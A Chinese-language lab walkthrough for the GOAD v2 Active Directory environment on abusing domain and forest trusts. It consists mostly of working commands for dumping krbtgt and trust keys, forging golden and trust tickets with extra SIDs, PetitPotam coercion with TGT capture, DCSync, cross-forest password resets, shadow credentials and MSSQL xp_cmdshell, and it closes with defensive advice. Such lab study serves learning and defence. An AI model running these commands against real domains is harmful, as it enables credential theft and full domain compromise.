域渗透GOAD(Game Of Active Directory) v2(四)
字数 1499 2025-08-25 22:58:34
域渗透GOAD(Game Of Active Directory) v2 域信任与森林信任横向移动技术详解
0x00 前言
本文详细讲解域信任(子域到父域)和森林到森林信任的横向移动技术,基于GOAD v2实验环境。域信任不是安全边界,攻击者可以利用多种技术实现跨域和跨森林的权限提升。
0x01 环境准备与更新
如果部署较早的GOAD环境,需要执行以下更新:
# 更新AD数据
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml -l dc01
# 修改AcrossTheNarrowSea组的ACL,添加对dc01(kingslanding)的genericAll权限
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml -l dc01
# 为DragonRider组添加dc01的内置管理员用户成员
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml -l dc01
# 在sevenkingdoms到essos的信任链接上默认启用SID历史记录
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc01
0x02 信任关系枚举
使用ldeep枚举信任关系
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.10 trusts
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.12 trusts
- sevenkingdoms到essos的信任关系是
FOREST_TRANSITIVE | TREAT_AS_EXTERNAL,因为SID history开启了 - essos到sevenkingdoms的信任关系是
FOREST_TRANSITIVE
对应的LDAP查询语句是:(objectCategory=trustedDomain)
使用BloodHound观测信任关系
使用查询语句:
MATCH p=(n:Domain)--> (m:Domain) RETURN p
可以观察到:
- north.sevenkingdoms.local和sevenkingdoms.local之间的域双向信任(子/父关系)
- essos.local和sevenkingdoms.local之间的森林双向信任
0x03 子域到父域攻击技术
方法1:使用Impacket的raiseChild.py一键提权
假设已控制north.sevenkingdoms.local域并获取了NTDS数据:
raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
该脚本自动完成以下工作:
- 获取子域和父域的krbtgt账户信息
- 创建包含企业管理员SID的金票
- 提升子域到父域权限
方法2:手动创建金票(ExtraSid技术)
步骤1:导出子域krbtgt哈希
secretsdump.py -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
步骤2:获取子域和父域SID
# 子域SID
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0
# 父域SID
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0
步骤3:创建金票
ticketer.py -nthash 550201c2dd93a01f9c8118ae2db60bc8 \
-domain-sid S-1-5-21-3279614554-4259096442-670903954 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \
goldenuser
步骤4:使用金票导出父域NTDS
export KRB5CCNAME=goldenuser.ccache
secretsdump.py -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local
方法3:信任票据(Trust Ticket)攻击
步骤1:获取信任密钥
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
步骤2:伪造信任票据
ticketer.py -nthash dc328273a32f874ea6e0ad46c6b9db4e \
-domain-sid S-1-5-21-3279614554-4259096442-670903954 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \
-spn krbtgt/sevenkingdoms.local \
trustfakeuser
步骤3:使用伪造票据
export KRB5CCNAME=trustfakeuser.ccache
getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local sevenkingdoms.local/trustfakeuser@sevenkingdoms.local -debug
# 或者直接dump父域secrets
secretsdump.py -k -no-pass -just-dc-ntlm trustfakeuser@kingslanding.sevenkingdoms.local
方法4:非约束委派攻击
由于winterfell是域控制器,默认配置为非约束委派:
- 使用PetitPotam强制父域DC向子域DC进行身份验证
- 使用Rubeus捕获TGT票据
- 转换票据格式并使用它进行DCSync
# 在Windows上运行Rubeus监控
.\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1
# 在Linux上强制认证
python PetitPotam.py -u arya.stark -p Needle -d north.sevenkingdoms.local kingslanding.sevenkingdoms.local meereen.essos.local
# 转换并利用捕获的TGT
base64 -d rubeus.b64 > meereen.kirbi
ticketConverter.py meereen.kirbi meereen.ccache
export KRB5CCNAME=meereen.ccache
secretsdump.py -k -no-pass -just-dc-ntlm essos.local/'MEEREEN$'@meereen.essos.local
0x04 森林到森林攻击技术
方法1:密码重用攻击
转储已控制域的NTDS,尝试在外部森林域中找到相同的用户和密码。
方法2:外部组和用户利用
使用BloodHound查询跨域关系:
MATCH p=(a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain)
WHERE (x:Container OR x:OU) AND (y:Container OR y:OU)
AND (a.name <> b.name)
AND (tolower(w.samaccountname) <> "enterprise admins"
AND tolower(w.samaccountname) <> "enterprise key admins"
AND tolower(z.samaccountname) <> "enterprise admins"
AND tolower(z.samaccountname) <> "enterprise key admins")
RETURN p
示例1:sevenkingdoms到essos域(spys组)
# 修改jorah.mormont密码
net rpc password jorah.mormont -U sevenkingdoms.local/petyer.baelish%@littlefinger@ -S meereen.essos.local
# 验证
cme smb 192.168.56.12 -u jorah.mormont -p 'P@ssword123' -d essos.local
示例2:使用影子凭据
# 添加影子凭据
certipy shadow add -u petyer.baelish@sevenkingdoms.local -p '@littlefinger@' -dc-ip 192.168.56.12 -target meereen.essos.local -account 'jorah.mormont'
# 认证
certipy auth -pfx jorah.mormont.pfx -username jorah.mormont -domain essos.local -dc-ip 192.168.56.12
方法3:MSSQL信任链接攻击
- 使用特定版本的Impacket连接MSSQL:
git clone https://github.com/SecureAuthCorp/impacket myimpacketmssql
cd myimpacketmssql
git fetch origin pull/1397/head:1397
git merge 1397
conda create -n myimpacketmssql python=3.7.9
conda activate myimpacketmssql
pip install .
- 连接并利用信任链接:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local
# 枚举信任链接
enum_links
# 使用链接执行命令
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
方法4:SID History金票攻击(仅当SID History启用时有效)
步骤1:获取域SID
# essos SID
lookupsid.py -domain-sids essos.local/daenerys.targaryen:'BurnThemAll!'@meereen.essos.local 0
# sevenkingdoms SID
lookupsid.py -domain-sids essos.local/daenerys.targaryen:'BurnThemAll!'@kingslanding.sevenkingdoms.local 0
步骤2:提取krbtgt哈希
secretsdump.py -just-dc-user 'essos/krbtgt' essos.local/daenerys.targaryen:'BurnThemAll!'
步骤3:创建包含目标森林企业管理员SID的金票
ticketer.py -nthash <krbtgt_nt_hash> \
-domain-sid <essos_domain_sid> \
-domain essos.local \
-extra-sid <sevenkingdoms_domain_sid>-519 \
goldenuser
0x05 总结
本文详细介绍了多种跨域和跨森林的攻击技术,包括:
- 使用Impacket工具一键提权
- 手动创建金票(ExtraSid技术)
- 信任票据攻击
- 非约束委派攻击
- 密码重用攻击
- 外部组和用户利用
- MSSQL信任链接攻击
- SID History金票攻击
关键点:
- 域信任不是安全边界
- SID History功能极大增加了跨域攻击的风险
- 非约束委派配置是常见的安全隐患
- 外部组和密码重用是跨森林攻击的常见突破口
- 定期轮换krbtgt密码可缓解部分攻击
防御建议:
- 禁用不必要的信任关系
- 禁用SID History除非绝对必要
- 限制外部组的权限
- 监控异常的身份验证请求
- 定期轮换krbtgt密码
- 限制域控制器的非约束委派配置